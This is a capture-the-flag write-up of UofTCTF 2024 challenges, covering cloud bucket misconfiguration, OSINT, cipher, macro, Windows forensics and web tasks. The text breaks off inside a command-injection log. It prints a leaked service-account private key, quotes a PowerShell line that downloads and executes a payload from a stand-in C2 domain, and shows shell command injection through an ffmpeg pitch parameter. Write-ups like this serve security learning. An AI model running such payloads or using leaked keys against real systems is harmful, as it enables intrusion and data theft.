UofTCTF 2024 - Challenges/Writeups
Two members of IrisSec (Lychi & skat) and myself (a new member of IrisSec!) participated in UofTCTF 2024 and solved 25 challenges! This writeup only contains the challenges I personally solved or contributed to. I hope you enjoy!
You can join the Discord community for this CTF (with more writeups!) here.
Miscellaneous/Out of the Bucket (506 solves)
Created by: windex
Check out my flag website! https://storage.googleapis.com/out-of-the-bucket/src/index.html
Visiting the page we are given a little page with pictures of flags.
We can see in the URL that its inside the directory /src/index.html, what if we go to the root directory instead?
Visiting the root directory gives us the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult
xmlns="http://doc.s3.amazonaws.com/2006-03-01">
<Name>out-of-the-bucket</Name>
<Prefix/>
<Marker/>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>secret/</Key>
<Generation>1703868492595821</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:48:12.634Z</LastModified>
<ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag>
<Size>0</Size>
</Contents>
<Contents>
<Key>secret/dont_show</Key>
<Generation>1703868647771911</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:50:47.809Z</LastModified>
<ETag>"737eb19c7265186a2fab89b5c9757049"</ETag>
<Size>29</Size>
</Contents>
<Contents>
<Key>secret/funny.json</Key>
<Generation>1705174300570372</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2024-01-13T19:31:40.607Z</LastModified>
<ETag>"d1987ade72e435073728c0b6947a7aee"</ETag>
<Size>2369</Size>
</Contents>
<Contents>
<Key>src/</Key>
<Generation>1703867253127898</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:27:33.166Z</LastModified>
<ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag>
<Size>0</Size>
</Contents>
<Contents>
<Key>src/index.html</Key>
<Generation>1703867956175503</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:39:16.214Z</LastModified>
<ETag>"dc63d7225477ead6f340f3057263643f"</ETag>
<Size>1134</Size>
</Contents>
<Contents>
<Key>src/static/antwerp.jpg</Key>
<Generation>1703867372975107</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:29:33.022Z</LastModified>
<ETag>"cef4e40eacdf7616f046cc44cc55affc"</ETag>
<Size>45443</Size>
</Contents>
<Contents>
<Key>src/static/guam.jpg</Key>
<Generation>1703867372954729</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:29:32.993Z</LastModified>
<ETag>"f6350c93168c2955ceee030ca01b8edd"</ETag>
<Size>48805</Size>
</Contents>
<Contents>
<Key>src/static/style.css</Key>
<Generation>1703867372917610</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:29:32.972Z</LastModified>
<ETag>"0c12d00cc93c2b64eb4cccb3d36df8fd"</ETag>
<Size>76559</Size>
</Contents>
</ListBucketResult>
We can see the directory listing, and secret/dont_show catches my eye.
Visiting that page we download a dont_show file, which contains our flag!
Flag: uoftctf{allUsers_is_not_safe}
Files: None provided :(
Miscellaneous/Out of the Bucket 2 (122 solves)
Created by: windex
This is a continuation of “Out of the Bucket”. Take a look around and see if you find anything!
Looking at the entries from ‘Out of the Bucket’ I see secret/funny.json which contains the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"type": "service_account",
"project_id": "out-of-the-bucket",
"private_key_id": "21e0c4c5ef71d9df424d40eed4042ffc2e0af224",
"private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDWxpWEDNiWgMzz\nxDDF64CspqiGPxkrHfhS4/PX8BrxNjUMPAH7vYHE3KbgQsmPhbCte9opnSLdMqec\nWjll8lRZGEy73xhWd2e3tVRAf53r+pW/p6MTOsz3leUkQAscG4hmOVOpGb1AkfuE\n62NErJVZIgQCowrBdFGbPxQc/IRQJKzrCFfKOWSHLvnngr4Ui5CSr6OM33dfpD+v\nQSLkEQheYCXmHwh/Wf8b27be+RzfOp/hOyjKsJOmDvFu2+rrx24t8hCptof3BYol\nUjpaiB8Qcct/HoKOEvZ/S5rW6toQizP8t4t7urC2i70JdH+Y4Qw/AZJNuLo/5wW1\n+x8i3FIDAgMBAAECggEABaGapVC06RVNdQ1tffL+d7MS8296GHWmX34B6bqDlP7S\nhenuNLczoiwVkAcQQ9wXKs/22Lp5rIpkd1FXn0MAT9RhnAIYdZlB4JY3iaK5oEin\nXn67Dt5Ze3BfBq6ghpx43L1KDUKogfs8jgVMoANVEyDfhrYsVQWDZ5T60QZp7bP2\n0zSDSACZpFzdf1vXzOhero8ykwM3keQiCIKWYkeMGsX8oHyWr1fz7AkU+pLciV67\nek10ItJUV70n2C65FgrW2Z1TpPKlpNEm8jQLSax9Bi89HuFEw8UjTfxKKzhLFXEu\nudtAyebt/PC4HS9FLBioo3bAy8vL3o00b7+raVyJQQKBgQD3IWaD5q5s7H0r10S/\n7IUhP1TDYhbLh7pupbzDGzu9wCFCMItwTEm9nYVNToKwV+YpeyoptEHQa4CAVp21\nO4+W7mBQgYemimjTtx1bIW8qzdQ9+ltQXyFAxj6m3KcuAsAzSpcHkbP46lCL5QoT\nTS6T06Fs4xvnTKtBdPeisSgiIwKBgQDee+mp5gsk8ynnp6fx0/liuO3AZxpTYcP8\nixaXLQI6CI4jQP2+P+FWNCTmEJxMaddXNOmmTaKu25S2H0KKMiQkQPuwBqskck3J\npVTHudnUuZAZWE7YPg40MJgg5OQhMVwiqGWL76FT2bubIdNm4LQyxvDeK82XQYl8\nszeOXfJeoQKBgGQqSoXdwwbtF5Lkbr4nnJIsPCvxHvIhskPUs1yVNjKjpBdS28GJ\nej37kaMS1k+pYOWhQSakJCTY3b2m3ccuO/Xd6nXW+mdbJD/jsWdVdtxvjr4MMmSy\nGiVJ9Ozm9G/mt4ZSjkKIIN0cA8ef7uSB3QYXug8LQi0O2z7trM1pZq3nAoGAMPhD\nOSMqRsrC6XtMivzmQmWD5zqKX9oAAmE26rV8bPufFYFjmHGFDq1RhdYYIPWW8Vnz\nJ6ik6ynntKJyyeo5bEVlYJxHJTGHj5+1ZnSwzpK9dearDAu0oqYjhfH7iJbNuc8o\n8sEe2E7vbTjnyBgjcZ26PJyVlvpU4b6stshU5aECgYEA7ZESXuaNV0Er3emHiAz4\noEStvFgzMDi8dILH+PtC3J2EnguVjMy2fceQHxQKP6/DCFlNqf9KUNqJBKVGxRWP\nIM1rcoAmf0sGQ5gl1B1K8PidhOi3dHF0nkYvivuMoj7sEyr9K88y69kdpVJ3J556\nJWqkWLCz8hx+LcQPfDJu0YE=\n-----END PRIVATE KEY-----\n",
"client_email": "[email protected]",
"client_id": "102040203348783466577",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/image-server%40out-of-the-bucket.iam.gserviceaccount.com",
"universe_domain": "googleapis.com"
}
Looking into this format it seems to be a Google authentication JSON for a service account. I start by installing the gcloud tool locally and then authenticate myself on gcloud with the json.
1
2
$ ./gcloud auth activate-service-account --key-file funny.json
Activated service account credentials for: [[email protected]]
Now that we have authenticated, I utilise gsutil to probe the buckets.
1
2
3
$ ./gsutil ls
gs://flag-images/
gs://out-of-the-bucket/
flag-images is new, what’s in there?
1
2
3
4
5
6
7
8
9
$ ./gsutil ls gs://flag-images/
gs://flag-images/256x192/
$ ./gsutil ls gs://flag-images/256x192/
gs://flag-images/256x192/ad.png
gs://flag-images/256x192/ae.png
...
gs://flag-images/256x192/za.png
gs://flag-images/256x192/zm.png
gs://flag-images/256x192/zw.png
Lot’s of pictures! Let’s take a look at these locally.
1
2
3
4
5
6
7
8
$ ./gsutil -m cp "gs://flag-images/256x192/*" ~/CTFS/OutOfBucket2/flags/
...
Copying gs://flag-images/256x192/yt.png...% Done
Copying gs://flag-images/256x192/za.png...% Done
Copying gs://flag-images/256x192/zw.png...% Done
Copying gs://flag-images/256x192/zm.png...% Done
/ [255/255 files][ 1.4 MiB/ 1.4 MiB] 100% Done
Operation completed over 255 objects/1.4 MiB.
After looking through the files one particular one catches my eye just on the thumbnail: xa.png.
Which contains our flag!
Flag: uoftctf{s3rv1c3_4cc0un75_c4n_83_un54f3}
Files: None provided :(
OSINT/Flying High (354 solves)
Created by: windex
I’m trying to find a flight I took back in 2012. I forgot the airport and the plane, but I know it is the one with an orange/red logo on the right side of this photo I took. Can you help me identify it? The flag format is UofTCTF{AIRPORT_AIRLINE_AIRCRAFT}. AIRPORT is the 3 letter IATA code, AIRLINE is the name of the airline (dash-separated if required), and AIRCRAFT is the aircraft model and variant (omit manufacturer name). For example, UofTCTF{YYZ_Air-Canada_A320-200} or UofTCTF{YYZ_Delta_767-300}. Note: The aircraft variant should be of X00 format; ie. there may be models with XYZ-432, but the accepted variant will be XYZ-400.
We are given the following image to start with:
The challenge description states we need the 3 letter IATA code for the airport, the airline and the aircraft model and variant.
The building on the left side ‘Novespace’ seems to have only 1 hit on Google Maps in France. More specifically, Bordeaux-Mérignac Airport or BOD.
Looking at the symbols on the plane in the picture and browsing a Wikipedia Entry for the phrase ‘yellow and red’, I eventually stumble upon Iberia Airline.
Seem’s like the same markings! Now what model do we have?
I look on Iberia’s website and find a current fleet list.
After trying a few I spot the ‘A340-600’ model and get success with the following flag.
Flag: UofTCTF{BOD_Iberia_A340-600}
Files: airplane.png
Cryptography/Wheel Barrow (97 solves)
Created by: notnotpuns
A wheelbarrow ran over the flag. Can you fix it? Please wrap the flag in uoftctf{}. Please keep the $ in the flag when submitting.
We are given the following string to work with: hc0rhh3r3ylmsrwr___lsewt_03raf_rpetouin$_3tb0_t
I look for anything relating to a ‘wheel barrow’ cipher, and then search ‘wheel cipher’, still nothing..
‘barrow cipher’ gives me the following result: Burrow’s Wheeler Transform which seems to correlated with the file being called transformed.txt.
Upon entering the string we were given with, it decrypts to burr0w_wh33ler_transform_is_pr3tty_c00l_eh$th3_.
We can reorganise the string to be th3_burr0w_wh33ler_transform_is_pr3tty_c00l_eh$ which is our flag!
Flag: uoftctf{th3_burr0w_wh33ler_transform_is_pr3tty_c00l_eh$}
Files: transformed.txt
Forensics/Secret Message 1 (730 solves)
Created by: SteakEnthusiast
We swiped a top-secret file from the vaults of a very secret organization, but all the juicy details are craftily concealed. Can you help me uncover them?
We are given a PDF file, once viewed has a black bar of what seems to be our flag.
If we highlight the black bar, we get some text upon copy-pasting the contents from Firefox’s PDF viewer.
Flag: uoftctf{fired_for_leaking_secrets_in_a_pdf}
Files: secret.pdf
Forensics/EnableMe (150 solves)
Created by: SteakEnthusiast
You’ve received a confidential document! Follow the instructions to unlock it. Note: This is not malware
We are given a .docm file which is notorious (among other office files) for its macros and tricking of employees.
I utilise a tool called olevba to extract any macros in the file and find AutoOpen.vba. The AutoOpen name allows the file to automatically run a macro upon the opening of the document.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Sub AutoOpen()
Dim v6 As Variant, v7 As Variant
v6 = Array(98, 120, 113, 99, 116, 99, 113, 108, 115, 39, 116, 111, 72, 113, 38, 123, 36, 34, 72, 116, 35, 121, 72, 101, 98, 121, 72, 116, 39, 115, 114, 72, 99, 39, 39, 39, 106)
v7 = Array(44, 32, 51, 84, 43, 53, 48, 62, 68, 114, 38, 61, 17, 70, 121, 45, 112, 126, 26, 39, 21, 78, 21, 7, 6, 26, 127, 8, 89, 0, 1, 54, 26, 87, 16, 10, 84)
Dim v8 As Integer: v8 = 23
Dim v9 As String, v10 As String, v4 As String, i As Integer
v9 = ""
For i = 0 To UBound(v6)
v9 = v9 & Chr(v6(i) Xor Asc(Mid(Chr(v8), (i Mod Len(Chr(v8))) + 1, 1)))
Next i
v10 = ""
For i = 0 To UBound(v7)
v10 = v10 & Chr(v7(i) Xor Asc(Mid(v9, (i Mod Len(v9)) + 1, 1)))
Next i
MsgBox v10
End Sub
Analysing the contents of the script, it seems to have a list of ASCII characters that is runs through some Chr, Xor and other various arguments before displaying the result of v10 in a message box.
Running this script gives us a message box with the following: YOU HAVE BEEN HACKED! Just kidding :)
If we change the MsgBox value from v10 to v9 we recieve the flag.
Flag: uoftctf{d0cx_f1l35_c4n_run_c0de_t000}
Files: invoice.docm
Forensics/Hourglass (56 solves)
Created by: 0x157
No EDR agent once again, we imaged this workstation for you to find the evil !
Looking around the files we are given a .ova which is a Virtual Machine image, I boot the VM in VirtualBox and we are given a Windows desktop. Looking around the computer there is a README on the desktop which provides very little insight.
Piecing some clues together from the description as well as the name we can construct the following:
- ‘Hourglass’, probably time related in some way.
- ‘No EDR’, likely an infection of some sort.
- The next challange being called ‘No grep’, likely findable somehow.
I ended up looking inside the Powershell History (which comes in handy in No grep), but spotted the execution of something called time_stomp, which I correlated with the ‘Hourglass’ name.
time_stomp is a utility used by both attackers to falsify timestamps of files and my blue teams to view the timestamps of files.
I ended up looking into some logless approaches to Windows forensics and learn about C:\Windows\Prefetch and learn about PECmd to parse them. Looking at the entries I notice TIMESTOMP in there and run PECmd against it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS> dir 'C:\Windows\Prefetch' | sort LastWriteTime -desc
...
-a---- 1/11/2024 3:22 AM 1754 STOMP_TIME.EXE-4A8F4213.pf
...
PS> .\PECmd.exe -f 'C:\Windows\Prefetch\STOMP_TIME.EXE-4A8F4213.pf' --mp
...
Directories referenced: 9
00: \VOLUME{01da447765fe8034-ae6629b1}\USERS
01: \VOLUME{01da447765fe8034-ae6629b1}\USERS\ANALYST
02: \VOLUME{01da447765fe8034-ae6629b1}\USERS\ANALYST\APPDATA
03: \VOLUME{01da447765fe8034-ae6629b1}\USERS\ANALYST\APPDATA\LOCAL
04: \VOLUME{01da447765fe8034-ae6629b1}\USERS\ANALYST\APPDATA\LOCAL\MICROSOFT
05: \VOLUME{01da447765fe8034-ae6629b1}\USERS\ANALYST\DESKTOP
06: \VOLUME{01da447765fe8034-ae6629b1}\WINDOWS
07: \VOLUME{01da447765fe8034-ae6629b1}\WINDOWS\SYSTEM32
08: \VOLUME{01da447765fe8034-ae6629b1}\WINDOWS\SYSWOW64
...
Looking inside C:\USERS\ANALYST\APPDATA\LOCAL\MICROSOFT as referenced gives me the idea to check the History.
I found C:\Users\analyst\AppData\Local\Microsoft\Windows\History.
Contains some entries of files from before we started the VM.
Inside ‘Friday’ has the following:
Inside the file settings.txt is a Base64 string: Ky0tCiB1b2Z0Y3Rme1Q0c0tfU2NoM0R1bDNyX0ZVTn0KKy0t
Decoded gives us the flag:
1
2
3
+--
uoftctf{T4sK_Sch3Dul3r_FUN}
+--
Flag: uoftctf{T4sK_Sch3Dul3r_FUN}
Files: ctf_vm.zip
Forensics/No grep (64 solves)
Created by: 0x157
Use the VM from Hourglass to find the 2nd flag on the system !
Continuing on the VM from Hourglass, we can see a majority of logs have either been erased, uninteresting or I couldn’t find them and I have a skill issue…
I check for Powershell History with the following command: get-content C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt and some entries come out, one line of particular interest.
Set-Alias -Name UpdateSystem -Value "C:\Windows\Web\Wallpaper\Theme2\update.ps1"
A PS1 file..? Inside the wallpapers..? If that doesn’t scream malware I don’t know what will…
Reading the PS1 file we are given the following data:
$String_Key = 'W0wMadeitthisfar'
$NewValue = '$(' + (([int[]][char[]]$String | ForEach-Object { "[char]$($_)" }) -join '+') + ')'
$chars = 34, 95, 17, 57, 2, 16, 3, 18, 68, 16, 12, 54, 4, 82, 24, 45, 35, 0, 40, 63, 20, 10, 58, 25, 3, 65, 0, 20
$keyAscii = $String_Key.ToCharArray() | ForEach-Object { [int][char]$_ }
$resultArray = $chars -bxor $keyAscii
IEX (Invoke-WebRequest -Uri 'https://somec2attackerdomain.com/chrome.exe' -UseBasicParsing).Content
Looking at the data, the main aspect of interest is $keyAscii which uses an XOR with $chars and $keyAscii.
$keyAscii is just $String_Key split into hex characters. So we just have to XOR them against eachother.
I end up writing a simple Python script to do this a bit faster as Powershell was refusing to XOR.
1
2
3
4
5
6
7
8
9
10
11
x="34 95 17 57 2 16 3 18 68 16 12 54 4 82 24 45 35 0 40 63 20 10 58 25 3 65 0 20".split(' ')
y="87 48 119 77 97 100 101 105 116 116 104 105 115 102 97 114".split(' ')
flag=""
c=0
for n in range(len(x)):
if c > len(y)-1:
c=0
flag+=chr(int(x[n])^int(y[c]))
c+=1
print(flag)
1
2
$ python3 xor.py
uoftctf{0dd_w4y_t0_run_pw5h}
Flag: uoftctf{0dd_w4y_t0_run_pw5h}
Files: ctf_vm.zip
Web/Voice Changer (206 solves)
Created by: Ido
I made a cool app that changes your voice.
We are given a URL to a blank website with a simple voice recording platform.
When uploading and recording a voice message, we can also adjust the pitch. Here is the upload request to the server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /upload HTTP/1.1
Host: uoftctf-voice-changer.chals.io
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------203210044820429582851581787850
Content-Length: 15823
-----------------------------203210044820429582851581787850
Content-Disposition: form-data; name="pitch"
1.52
-----------------------------203210044820429582851581787850
Content-Disposition: form-data; name="input-file"; filename="recording.ogg"
Content-Type: audio/ogg
OggS...
-----------------------------203210044820429582851581787850--
Once uploaded we can see the ffmpeg logs given back:
1
$ ffmpeg -i "/app/upload/35d2f080-b356-11ee-825a-89f99051da31.ogg" -y -af "asetrate=44100*1.52,aresample=44100,atempo=1/1.52" "/app/output/35d2f080-b356-11ee-825a-89f99051da31.ogg"
We can see our pitch value in there as 1.52, I immediately think of Command Injection.
I change my value of pitch value to $(whoami) and we can see a result of myuser in the ffmpeg log!
1
$ ffmpeg -i \"/app/upload/b6ff5450-b356-11ee-bed6-0fc1d21dc1fb.ogg\" -y -af \"asetrate=44100*$(whoami),aresample=44100,atempo=1/$(whoami)\" \"/app/output/b6ff5450-b356-11ee-bed6-0fc1d21dc1fb.ogg\"\n\nffmpeg version 6.1 Copyright (c) 2000-2023 the FFmpeg developers\n built with gcc 13.2.1 (Alpine 13.2.1_git20231014) 20231014\n configuration: --prefix=/usr --disable-librtmp --disable-lzma --disable-static --disable-stripping --enable-avfilter --enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d --enable-libdrm --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libharfbuzz --enable-libmp3lame --enable-libopenmpt --enable-libopus --enable-libplacebo --enable-libpulse --enable-librav1e --enable-librist --enable-libsoxr --enable-libsrt --enable-libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-postproc --enable-pthreads --enable-shared --enable-vaapi --enable-vdpau --enable-version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-libsvtav1 --enable-libvpl\n libavutil 58. 29.100 / 58. 29.100\n libavcodec 60. 31.102 / 60. 31.102\n libavformat 60. 16.100 / 60. 16.100\n libavdevice 60. 3.100 / 60. 3.100\n libavfilter 9. 12.100 / 9. 12.100\n libswscale 7. 5.100 / 7. 5.100\n libswresample 5. 0.100 / 5. 0.100\n libpostproc 57. 3.100 / 57. 3.100\nInput #0, matroska,webm, from '/app/upload/b6ff5450-b356-11ee-bed6-0fc1d21dc1fb.ogg':\n Metadata:\n encoder : Chrome\n Duration: N/A, start: 0.000000, bitrate: N/A\n Stream #0:0(eng): Audio: opus, 48000 Hz, mono, fltp (default)\n[Parsed_asetrate_0 @ 0x7f22b1b3aec0] [Eval @ 0x7ffd4841fcb0] Undefined constant or missing '(' in 'myuser'\n[Parsed_asetrate_0 @ 0x7f22b1b3aec0] Unable to parse option value \"44100*myuser\"\nError applying option 'sample_rate' to filter 'asetrate': Invalid argument\n[aost#0:0/libvorbis @ 0x7f22b15da380] Error initializing a simple filtergraph\nError opening output file /app/output/b6ff5450-b356-11ee-bed6-0fc1d21dc1fb.ogg.\nError opening output files: Invalid argument\n
After some probing I try $(ls -lha /) and find something of interest.
1
$ ffmpeg -i \"/app/upload/f8469a40-b356-11ee-bed6-0fc1d21dc1fb.ogg\" -y -af \"asetrate=44100*$(ls -lha /),aresample=44100,atempo=1/$(ls -lha /)\" \"/app/output/f8469a40-b356-11ee-bed6-0fc1d21dc1fb.ogg\"\n\nffmpeg version 6.1 Copyright (c) 2000-2023 the FFmpeg developers\n built with gcc 13.2.1 (Alpine 13.2.1_git20231014) 20231014\n configuration: --prefix=/usr --disable-librtmp --disable-lzma --disable-static --disable-stripping --enable-avfilter --enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d --enable-libdrm --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libharfbuzz --enable-libmp3lame --enable-libopenmpt --enable-libopus --enable-libplacebo --enable-libpulse --enable-librav1e --enable-librist --enable-libsoxr --enable-libsrt --enable-libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-postproc --enable-pthreads --enable-shared --enable-vaapi --enable-vdpau --enable-version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-libsvtav1 --enable-libvpl\n libavutil 58. 29.100 / 58. 29.100\n libavcodec 60. 31.102 / 60. 31.102\n libavformat 60. 16.100 / 60. 16.100\n libavdevice 60. 3.100 / 60. 3.100\n libavfilter 9. 12.100 / 9. 12.100\n libswscale 7. 5.100 / 7. 5.100\n libswresample 5. 0.100 / 5. 0.100\n libpostproc 57. 3.100 / 57. 3.100\nInput #0, matroska,webm, from '/app/upload/f8469a40-b356-11ee-bed6-0fc1d21dc1fb.ogg':\n Metadata:\n encoder : Chrome\n Duration: N/A, start: 0.000000, bitrate: N/A\n Stream #0:0(eng): Audio: opus, 48000 Hz, mono, fltp (default)\n[AVFilterGraph @ 0x7f540765aec0] No option name near '31 .\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root root 0 Jan 15 03:31 .dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 app\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360 Jan 15 03:31 dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 lib\ndrwxr-xr-x 5 root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x 414 nobody nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K Dec 11 18:37 root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31 secret.txt\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody nobody 0 Jan 15 03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37 tmp\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K Dec 7 09:43 var'\n[AVFilterGraph @ 0x7f540765aec0] Error parsing a filter description around: ,aresample=44100,atempo=1/total 76K \ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 .\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root root 0 Jan 15 03:31 .dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 app\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360 Jan 15 03:31 dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 lib\ndrwxr-xr-x 5 root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x 414 nobody nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K Dec 11 18:37 root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31 secret.txt\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody nobody 0 Jan 15 03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37 tmp\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K Dec 7 09:43 var\n[AVFilterGraph @ 0x7f540765aec0] Error parsing filterchain 'asetrate=44100*total 76K \ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 .\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root root 0 Jan 15 03:31 .dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 app\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360 Jan 15 03:31 dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 lib\ndrwxr-xr-x 5 root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x 414 nobody nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K Dec 11 18:37 root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31 secret.txt\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody nobody 0 Jan 15 03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37 tmp\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K Dec 7 09:43 var,aresample=44100,atempo=1/total 76K \ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 .\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root root 0 Jan 15 03:31 .dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 app\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360 Jan 15 03:31 dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 lib\ndrwxr-xr-x 5 root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x 414 nobody nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K Dec 11 18:37 root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31 secret.txt\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody nobody 0 Jan 15 03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37 tmp\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K Dec 7 09:43 var' around: ,aresample=44100,atempo=1/total 76K \ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 .\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 ..\n-rwxr-xr-x 1 root root 0 Jan 15 03:31 .dockerenv\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 app\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 bin\ndrwxr-xr-x 5 root root 360 Jan 15 03:31 dev\ndrwxr-xr-x 1 root root 4.0K Jan 15 03:31 etc\ndrwxr-xr-x 1 root root 4.0K Jan 13 05:35 home\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 lib\ndrwxr-xr-x 5 root root 4.0K Dec 7 09:43 media\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 mnt\ndrwxr-xr-x 1 root root 4.0K Dec 11 18:37 opt\ndr-xr-xr-x 414 nobody nobody 0 Jan 15 03:31 proc\ndrwx------ 1 root root 4.0K 